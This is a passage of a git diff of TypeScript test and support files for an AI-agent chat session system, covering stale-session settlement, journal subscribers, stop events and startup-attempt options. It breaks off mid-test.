+ settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: 'generation-2', + deathEvidence: null + }) + ).resolves.toBe(1) + + expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ + settlementId: 'stale-session:session-1:14:generation-2', + fence: 14, + recovered: true, + dispatches: [], + mutations: [ + { + kind: 'item', + itemId: pending.itemId, + body: { + ...pending.body, + resolution: { + state: 'cancelled', + selectedOptionId: null, + resolvedBy: null, + resolvedAt: null + } + }, + turnScope: { kind: 'thread' } + } + ] + }) +}) + +it("cancels a subagent's lost prompt as the subagent's, and the session's own as its own", async () => { + // Producer-free cancellation revisions must retain original attribution. + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => 1_000 + }) + const child = { agentId: 'thread-child', producerKind: 'agent' as const } + const { body } = promptItem('pending', 1) + const prompt = (threadId: string) => ({ + provider: 'codex' as const, + threadId, + turnId: 'turn-1', + ordinal: 1 + }) + await journal.appendItem(prompt('thread-child'), body, { + fence: 1, + ...child, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(prompt(THREAD), body, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + + await settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: 'generation-2', + deathEvidence: null + }) + + expect( + journal.snapshot().items.map((item) => [item.body.kind, item.revision, item.agentId]) + ).toEqual([ + ['approval', 2, 'thread-child'], + ['approval', 2, undefined] + ]) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('uses provider output after a renewal, excluding a later client message', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + const command = { provider: 'codex' as const, threadId: THREAD, turnId: 'turn-1', ordinal: 1 } + const shell = { kind: 'tool-call' as const, name: 'shell', input: { command: 'pnpm test' } } + const turnScope = turnScopeOf({ ...command, ordinal: 0 }) + await journal.appendItem( + { ...command, ordinal: 0 }, + { kind: 'turn', turnId: 'turn-1', state: 'running', startedAt: 100 }, + { fence: 1, turnScope } + ) + now = 200 + await journal.appendItem(command, { ...shell, state: 'running' }, { fence: 1, turnScope }) + // Provider output can prove life after lease renewal. + now = 700 + await journal.appendItem( + command, + { ...shell, input: { command: 'pnpm test', streamed: 'ok' }, state: 'running' }, + { fence: 1, turnScope } + ) + now = 800 + await journal.appendItem( + { provider: 'orca', clientMessageId: 'late-send' }, + { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next task' }] }, + { fence: 1, turnScope } + ) + now = 9_000 + + await settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: 'generation-2', + deathEvidence: { + kind: 'pid-absent', + detail: 'recorded pid absent on host', + observedAt: 9_000, + ownerFence: 1, + lastProvenAliveAt: 650 + } + }) + + const items = journal.snapshot().items + expect(items.map((item) => readAgentJournalTurn(item.body)).find(Boolean)).toMatchObject({ + state: 'interrupted', + completedAt: 700 + }) + expect(items.flatMap((item) => (item.body.kind === 'status' ? [item.body.text] : []))).toEqual([ + 'The agent stopped while this response was in progress. You can continue in this conversation.' + ]) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('ends a crashed turn at its last proof of life, not at a send accepted before the proof', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + await journal.appendItem( + RUNNING_IDENTITY, + { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, + { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } + ) + now = 200 + await journal.appendItem( + { ...RUNNING_IDENTITY, ordinal: 1 }, + { kind: 'tool-call', name: 'shell', input: { command: 'pnpm test' }, state: 'running' }, + { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } + ) + const settle = (deathEvidence: AgentSessionDeathEvidence | null) => + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 1, + acquisitionGeneration: null, + deathEvidence + }) + now = 3_600_000 + await settle(null) + const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] + expect(turn()).toMatchObject({ state: 'unverifiable' }) + now = 3_605_000 + await journal.appendSubmission({ + clientMessageId: 'send-1', + payloadFingerprint: 'fingerprint-1', + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'still there?' }] }, + fence: 1, + handoverRecorded: true + }) + await journal.resolveDispatch({ + clientMessageId: 'send-1', + state: 'pending', + turnScope: AGENT_JOURNAL_THREAD_SCOPE, + fence: 1 + }) + now = 3_606_000 + + await settle({ + kind: 'pid-absent', + detail: 'gone', + observedAt: 3_606_000, + ownerFence: 1, + lastProvenAliveAt: 210 + }) + + expect(turn()).toMatchObject({ state: 'interrupted', completedAt: 210 }) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-contract.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-contract.ts index 30961d720aa..68d2e0fea89 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-contract.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-contract.ts @@ -1,3 +1,4 @@ +import type { ClaudeAccountRecipe } from '../../../shared/agent-session-acquired-account' // Adapter-reachable contract must remain free of host and Node-only process dependencies. import type { AgentSessionJournalIdentity } from '../../../shared/agent-session-journal-types' @@ -30,6 +31,7 @@ export type StructuredAgentSessionStartupAttempt = { /** Saved launch intent, never catalog guesses. */ readonly options?: Readonly> readonly permissionMode?: AgentChatPermissionChoice + readonly accountRecipe?: ClaudeAccountRecipe /** Provider events may begin before spawn returns. */ readonly events?: StructuredAgentSessionEventSink /** Attempt-scoped background evidence; adapters use registration reporting when absent. */ diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-host-test-support.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-host-test-support.ts index a8f77bf9a97..a0259aedb4b 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-host-test-support.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt-host-test-support.ts @@ -1,3 +1,14 @@ +import { + hostTestCatalogReadOperation, + HOST_TEST_NOW as NOW, + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD, + hostTestAttachParams, + hostTestSendParams as sendParams, + hostTestCancelParams, + hostTestSubmission, + resetHostTestOperationIds +} from './structured-agent-session-host-test-data' import { mkdtemp, rm } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' @@ -20,16 +31,6 @@ import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' import { StructuredAgentSessionHost } from './structured-agent-session-host' -import { - HOST_TEST_NOW as NOW, - HOST_TEST_SESSION as SESSION, - HOST_TEST_THREAD as THREAD, - hostTestAttachParams, - hostTestSendParams as sendParams, - hostTestCancelParams, - hostTestSubmission, - resetHostTestOperationIds -} from './structured-agent-session-host-test-data' import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' import type { StructuredAgentSessionStartupLimits } from './structured-agent-session-startup-attempt-contract' @@ -104,6 +105,7 @@ async function startHost({ startupLimits, supportsGoals }: StartupHostOptions = setOption }, modelCatalog: { + captureRead: hostTestCatalogReadOperation, snapshot: vi.fn(() => ({ origin: 'unknown' as const })), demand: vi.fn(async () => {}), prepareSaved: vi.fn(async () => ({ origin: 'unknown' as const })), @@ -111,6 +113,7 @@ async function startHost({ startupLimits, supportsGoals }: StartupHostOptions = retireContext: vi.fn(), peek: () => null, read: vi.fn(async () => ({ origin: 'unknown' as const })), + recordLiveListing, prewarm: vi.fn(async () => {}), stop: vi.fn(), diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt.ts index 9a7c07cc9c4..b852ad324fe 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-startup-attempt.ts @@ -1,3 +1,4 @@ +import type { ClaudeAccountRecipe } from '../../../shared/agent-session-acquired-account' import { randomUUID } from 'node:crypto' import type { SubmissionRejectionFact } from '../../../shared/agent-session-failure' import { @@ -22,6 +23,7 @@ export function mintStructuredAgentSessionStartupAttempt(input: { identity: AgentSessionJournalIdentity spawnToken: string permissionMode?: AgentChatPermissionChoice + accountRecipe?: ClaudeAccountRecipe events?: StructuredAgentSessionEventSink signal?: AbortSignal startupOptions?: Readonly> @@ -42,6 +44,7 @@ export function mintStructuredAgentSessionStartupAttempt(input: { }, ...(options ? { options } : {}), ...(input.permissionMode ? { permissionMode: input.permissionMode } : {}), + ...(input.accountRecipe ? { accountRecipe: input.accountRecipe } : {}), ...(input.events ? { events: input.events } : {}), ...(input.signal ? { signal: input.signal } : {}) } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts index c7ee7dcb14c..4178893ea74 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts @@ -29,13 +29,8 @@ function journal() { } function stopEvents(): JournalStopEvent[] { - const since = journal().readSince({ epoch: journal().epoch, sequence: 0 }) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - return since.rows.flatMap((row) => - row.kind === 'tombstone' && row.stopEvent ? [row.stopEvent] : [] - ) + const mark = journal().stopMarks.latest() + return mark ? [mark.event] : [] } async function turnRow(turnId: string, state: 'running' | 'interrupted', userId?: string) { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts index 795498bb306..89adad2dd81 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts @@ -64,13 +64,8 @@ it('does not treat completed submission history as a send in an empty reinitiali }) function stopEvents(): { sequence: number; event: JournalStopEvent }[] { - const since = journal().readSince({ epoch: journal().epoch, sequence: 0 }) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - return since.rows.flatMap((row) => - row.kind === 'tombstone' && row.stopEvent ? [{ sequence: row.seq, event: row.stopEvent }] : [] - ) + const mark = journal().stopMarks.latest() + return mark ? [{ sequence: mark.sequence, event: mark.event }] : [] } async function turnRow(turnId: string, state: 'running' | 'interrupted'): Promise { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-contract-test-fixture.ts new file mode 100644 index 00000000000..2c978924622 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-contract-test-fixture.ts @@ -0,0 +1,29 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' + +export const SESSION = 'subscriber-session' + +let root: string + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-agent-subscribers-')) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +export const fixture = { + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-oversized-removal.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-oversized-removal.test.ts new file mode 100644 index 00000000000..89bd9238006 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-oversized-removal.test.ts @@ -0,0 +1,108 @@ +import { join } from 'node:path' +import { expect, it } from 'vitest' +import { AGENT_SESSION_JOURNAL_SCHEMA_VERSION } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES, + serializeRemoteRuntimePayload +} from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import type { JournalRow } from '../agent-session-journal/journal-row-schema' +import { + openTestJournalHostDatabase, + insertTestJournalRow +} from '../agent-session-journal/journal-host-database-test-support' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + fixture, + SESSION, + journals +} from './structured-agent-session-subscriber-contract-test-fixture' + +it('catches a subscriber up past a pre-existing unsendable removal with a bounded reset', async () => { + const journalDir = join(fixture.root, 'oversized-removal-journal') + const seeded = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: journalDir + }) + // A legacy removal ID exceeds the outbound cap alone, making catch-up impossible. + const hugeItemId = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` + const resumeCursor = seeded.cursor() + const seq = resumeCursor.sequence + const rows: JournalRow[] = [ + { + kind: 'item', + itemId: hugeItemId, + revision: 1, + body: { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'big' }] }, + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: seeded.epoch, + seq: seq + 1, + fence: 1, + ts: 2_000 + }, + { + kind: 'tombstone', + itemId: hugeItemId, + revision: 2, + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: seeded.epoch, + seq: seq + 2, + fence: 1, + ts: 2_001 + } + ] + // Direct writes model legacy persisted rows. + await seeded.close() + const opened = openTestJournalHostDatabase(journalDir) + try { + opened.db.exec('BEGIN IMMEDIATE') + for (const row of rows) { + insertTestJournalRow(opened.db, SESSION, row) + } + opened.db.exec('COMMIT') + } finally { + await opened.close() + } + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: journalDir + }) + + const subscribers = new AgentSessionSubscribers() + const events: AgentSessionSubscribeEvent[] = [] + subscribers.open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 1, + cursor: resumeCursor, + emit: (event) => events.push(event) + }) + + for (const event of events) { + expect(Buffer.byteLength(serializeRemoteRuntimePayload(event), 'utf8')).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + } + const reset = events.find((event) => event.type === 'reset') + expect(reset).toBeDefined() + + // Reset must advance past the unsendable row so later publications make progress. + const settled = events.length + subscribers.publish(SESSION, journal) + expect(events.slice(settled).filter((event) => event.type === 'reset')).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-publication.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-publication.test.ts new file mode 100644 index 00000000000..96ea49631c1 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-publication.test.ts @@ -0,0 +1,214 @@ +import { join } from 'node:path' +import { expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { + AgentSessionBackgroundTaskState, + AgentSessionStatusEvent, + AgentSessionSubscribeEvent +} from '../../../shared/agent-session-wire' +import { StructuredAgentSessionStatusFeed } from './structured-agent-session-status-feed' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' +import { + claudeProviderHandle, + codexProviderHandle +} from '../../../shared/agent-session-provider-handle-encoding' + +import { + fixture, + SESSION, + journals +} from './structured-agent-session-subscriber-contract-test-fixture' + +it('reports every content publication to the journal hook, subscribed or not', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'hook-journal') + }) + const published: string[] = [] + const subscribers = new AgentSessionSubscribers({ + onJournalPublished: (sessionId, published_journal) => { + expect(published_journal).toBe(journal) + published.push(sessionId) + } + }) + + subscribers.publish(SESSION, journal) + subscribers.snapshot(SESSION, journal, 1) + + expect(published).toEqual([SESSION, SESSION]) +}) + +it('settles a session nobody is reading, from running to idle', async () => { + // Never open a subscriber: status must publish independently of transcript readers. + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'unread-journal') + }) + const statusFeed = new StructuredAgentSessionStatusFeed({ + logger: createStructuredAgentSessionLogger(), + sessions: new Map([ + [ + SESSION, + { + journal, + params: { + location: { + executionHostId: 'local', + wslDistro: null, + workspaceId: 'workspace-1', + workspaceKind: 'git-worktree' + }, + provider: 'codex' + } + } + ] + ]), + getConversation: () => null, + now: () => 1_000 + }) + const subscribers = new AgentSessionSubscribers({ + onJournalPublished: (sessionId, published) => statusFeed.publish(sessionId, published) + }) + const statuses: AgentSessionStatusEvent[] = [] + statusFeed.subscribe({ id: 'session-list', emit: (event) => statuses.push(event) }) + const turn = { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 0 } as const + + await journal.appendItem( + { ...turn, ordinal: 1 }, + { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'write a poem' }] }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await journal.appendItem( + turn, + { kind: 'status', text: 'Working', turnLifecycle: { turnId: 'turn-1', state: 'running' } }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + subscribers.publish(SESSION, journal) + + expect(statuses.at(-1)).toEqual({ + type: 'status', + session: expect.objectContaining({ status: 'working', latestPrompt: 'write a poem' }) + }) + + await journal.appendTombstone(turn, { fence: 1 }) + subscribers.publish(SESSION, journal) + + expect(statuses.at(-1)).toEqual({ + type: 'status', + session: expect.objectContaining({ status: 'idle' }) + }) +}) + +it('publishes background lifecycle without advancing the journal and carries its fence forward', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'claude', + providerHandle: claudeProviderHandle('provider-1', null) + }, + stateDirectory: join(fixture.root, 'background-journal') + }) + let roster: AgentSessionBackgroundTaskState | null = null + const subscribers = new AgentSessionSubscribers({ readBackgroundTasks: () => roster }) + const events: AgentSessionSubscribeEvent[] = [] + subscribers.open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 1, + emit: (event) => events.push(event) + }) + const cursor = journal.cursor() + + const backgroundTasks: AgentSessionBackgroundTaskState = { + state: 'monitoring', + tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] + } + roster = backgroundTasks + subscribers.republishBackgroundTasks(SESSION, 2) + + expect(journal.cursor()).toEqual(cursor) + expect(events.at(-1)).toEqual({ + type: 'batch', + sessionId: SESSION, + batch: { cursor, items: [], removedItemIds: [], submissions: [] }, + fence: 2, + hostNow: expect.any(Number), + backgroundTasks + }) + + await journal.appendItem( + { provider: 'orca', clientMessageId: 'after-background-fence' }, + { kind: 'status', text: 'After background state' }, + { fence: 2, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + subscribers.publish(SESSION, journal) + + expect(events.at(-1)).toMatchObject({ type: 'batch', fence: 2 }) +}) + +it('publishes latest turn activity without advancing or adding journal rows', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'activity-journal') + }) + const subscribers = new AgentSessionSubscribers() + const events: AgentSessionSubscribeEvent[] = [] + subscribers.open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 1, + emit: (event) => events.push(event) + }) + const cursor = journal.cursor() + + subscribers.publish(SESSION, journal, { + turnId: 'turn-1', + text: 'Inspecting the session wire' + }) + + expect(journal.cursor()).toEqual(cursor) + expect(events.at(-1)).toEqual({ + type: 'batch', + sessionId: SESSION, + batch: { cursor, items: [], removedItemIds: [], submissions: [] }, + fence: 1, + hostNow: expect.any(Number), + activity: { turnId: 'turn-1', text: 'Inspecting the session wire' } + }) + + subscribers.close(SESSION, 'subscriber-1') + subscribers.publish(SESSION, journal, null) + subscribers.open({ + id: 'reconnected', + sessionId: SESSION, + journal, + fence: 1, + cursor, + emit: (event) => events.push(event) + }) + expect(journal.cursor()).toEqual(cursor) + expect(events.at(-1)).toMatchObject({ activity: null }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts index 92983d8e23f..8afeba00828 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts @@ -1,561 +1,250 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - AGENT_JOURNAL_THREAD_SCOPE, - AGENT_SESSION_JOURNAL_SCHEMA_VERSION -} from '../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import type { AgentSessionBackgroundTaskState, - AgentSessionStatusEvent, AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES, - serializeRemoteRuntimePayload -} from '../../../shared/remote-runtime/remote-runtime-memory-limits' -import type { JournalRow } from '../agent-session-journal/journal-row-schema' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - insertTestJournalRow -} from '../agent-session-journal/journal-host-database-test-support' -import * as journalReducer from '../agent-session-journal/journal-reducer' import { StructuredAgentSessionCurrentWork } from './structured-agent-session-current-work' import { StructuredAgentSessionJournalProjections } from './structured-agent-session-status-journal-projection' -import { StructuredAgentSessionStatusFeed } from './structured-agent-session-status-feed' import { MAX_RETAINED_SESSION_ACTIVITIES } from './structured-agent-session-activity-retention' import { AgentSessionSubscribers } from './structured-agent-session-subscribers' -import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import * as journalReducer from '../agent-session-journal/journal-reducer' + import { - claudeProviderHandle, - codexProviderHandle -} from '../../../shared/agent-session-provider-handle-encoding' + fixture, + SESSION, + journals +} from './structured-agent-session-subscriber-contract-test-fixture' -const SESSION = 'subscriber-session' - -let root: string -const journals = createTrackedJournalOpener() - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-agent-subscribers-')) -}) - -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) -}) - -describe('AgentSessionSubscribers', () => { - it('renders history once per source for N/10N items and one/three readers', async () => { - const render = vi.spyOn(journalReducer, 'renderJournalState') - try { - for (const size of [100, 1000]) { - for (const readers of [1, 3]) { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, `${size}-${readers}`) - }) - const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - const identity = (ordinal: number) => ({ - provider: 'codex' as const, - threadId: 'thread-1', - turnId: 'turn', - ordinal - }) - const body = (text: string) => ({ - kind: 'message' as const, - role: 'assistant' as const, - blocks: [{ type: 'text' as const, text }] - }) - for (let index = 0; index < size; index++) { - await journal.appendItem(identity(index), body('initial'), options) +it('renders history once per source for N/10N items and one/three readers', async () => { + const render = vi.spyOn(journalReducer, 'renderJournalState') + try { + for (const size of [100, 1000]) { + for (const readers of [1, 3]) { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, `${size}-${readers}`) + }) + const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + const identity = (ordinal: number) => ({ + provider: 'codex' as const, + threadId: 'thread-1', + turnId: 'turn', + ordinal + }) + const body = (text: string) => ({ + kind: 'message' as const, + role: 'assistant' as const, + blocks: [{ type: 'text' as const, text }] + }) + for (let index = 0; index < size; index++) { + await journal.appendItem(identity(index), body('initial'), options) + } + const projections = new StructuredAgentSessionJournalProjections() + const events: AgentSessionSubscribeEvent[] = [] + const subscribers = new AgentSessionSubscribers({ + readCurrentWork: () => new StructuredAgentSessionCurrentWork(journal, 1, 0), + onJournalPublished: () => { + projections.read(journal, null) } - const projections = new StructuredAgentSessionJournalProjections() - const events: AgentSessionSubscribeEvent[] = [] - const subscribers = new AgentSessionSubscribers({ - readCurrentWork: () => new StructuredAgentSessionCurrentWork(journal, 1, 0), - onJournalPublished: () => { - projections.read(journal, null) - } + }) + for (let index = 0; index < readers; index++) { + subscribers.open({ + id: String(index), + sessionId: SESSION, + journal, + fence: 1, + boundedFrames: index === 1, + emit: (event) => events.push(event) }) - for (let index = 0; index < readers; index++) { - subscribers.open({ - id: String(index), - sessionId: SESSION, - journal, - fence: 1, - boundedFrames: index === 1, - emit: (event) => events.push(event) - }) - } + } + subscribers.publish(SESSION, journal) + for (const text of ['streamed', 'newer']) { + const prior = journal.snapshot() + await journal.appendItem(identity(size - 1), body(text), options) + render.mockClear() + events.length = 0 subscribers.publish(SESSION, journal) - for (const text of ['streamed', 'newer']) { - const prior = journal.snapshot() - await journal.appendItem(identity(size - 1), body(text), options) - render.mockClear() - events.length = 0 - subscribers.publish(SESSION, journal) - expect(render).toHaveBeenCalledTimes(1) - const current = journal.snapshot() - expect(current).not.toBe(prior) - expect(current.items).toHaveLength(size) - expect(current.items.at(-1)?.body).toEqual(body(text)) - expect(journal.publicRead().snapshot).toBe(current) - expect(events.filter((event) => event.type === 'batch')).toHaveLength(readers) - expect( - events - .flatMap((event) => (event.type === 'batch' ? event.batch.items : [])) - .map((item) => item.body) - ).toEqual(Array.from({ length: readers }, () => body(text))) - expect(render).toHaveBeenCalledTimes(1) - } + expect(render).toHaveBeenCalledTimes(1) + const current = journal.snapshot() + expect(current).not.toBe(prior) + expect(current.items).toHaveLength(size) + expect(current.items.at(-1)?.body).toEqual(body(text)) + expect(journal.publicRead().snapshot).toBe(current) + expect(events.filter((event) => event.type === 'batch')).toHaveLength(readers) + expect( + events + .flatMap((event) => (event.type === 'batch' ? event.batch.items : [])) + .map((item) => item.body) + ).toEqual(Array.from({ length: readers }, () => body(text))) + expect(render).toHaveBeenCalledTimes(1) } } - } finally { - render.mockRestore() } + } finally { + render.mockRestore() + } +}) + +it('bounds retained turn activity across session churn', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'activity-churn-journal') }) - - it('bounds retained turn activity across session churn', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'activity-churn-journal') - }) - const subscribers = new AgentSessionSubscribers() - - for (let index = 0; index < MAX_RETAINED_SESSION_ACTIVITIES + 4; index += 1) { - subscribers.publish(`session-${index}`, journal, { turnId: `turn-${index}`, text: 'working' }) - } + const subscribers = new AgentSessionSubscribers() - expect(subscribers.retainedActivityCountForTests).toBe(MAX_RETAINED_SESSION_ACTIVITIES) - }) + for (let index = 0; index < MAX_RETAINED_SESSION_ACTIVITIES + 4; index += 1) { + subscribers.publish(`session-${index}`, journal, { turnId: `turn-${index}`, text: 'working' }) + } - it('publishes the current fence when a resumed cursor is already caught up', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'checkpoint-journal') - }) - const events: AgentSessionSubscribeEvent[] = [] + expect(subscribers.retainedActivityCountForTests).toBe(MAX_RETAINED_SESSION_ACTIVITIES) +}) - new AgentSessionSubscribers().open({ - id: 'subscriber-1', +it('publishes the current fence when a resumed cursor is already caught up', async () => { + const journal = await journals.open({ + identity: { sessionId: SESSION, - journal, - fence: 7, - cursor: journal.cursor(), - emit: (event) => events.push(event) - }) - - expect(events).toEqual([ - { - type: 'batch', - sessionId: SESSION, - batch: { - cursor: 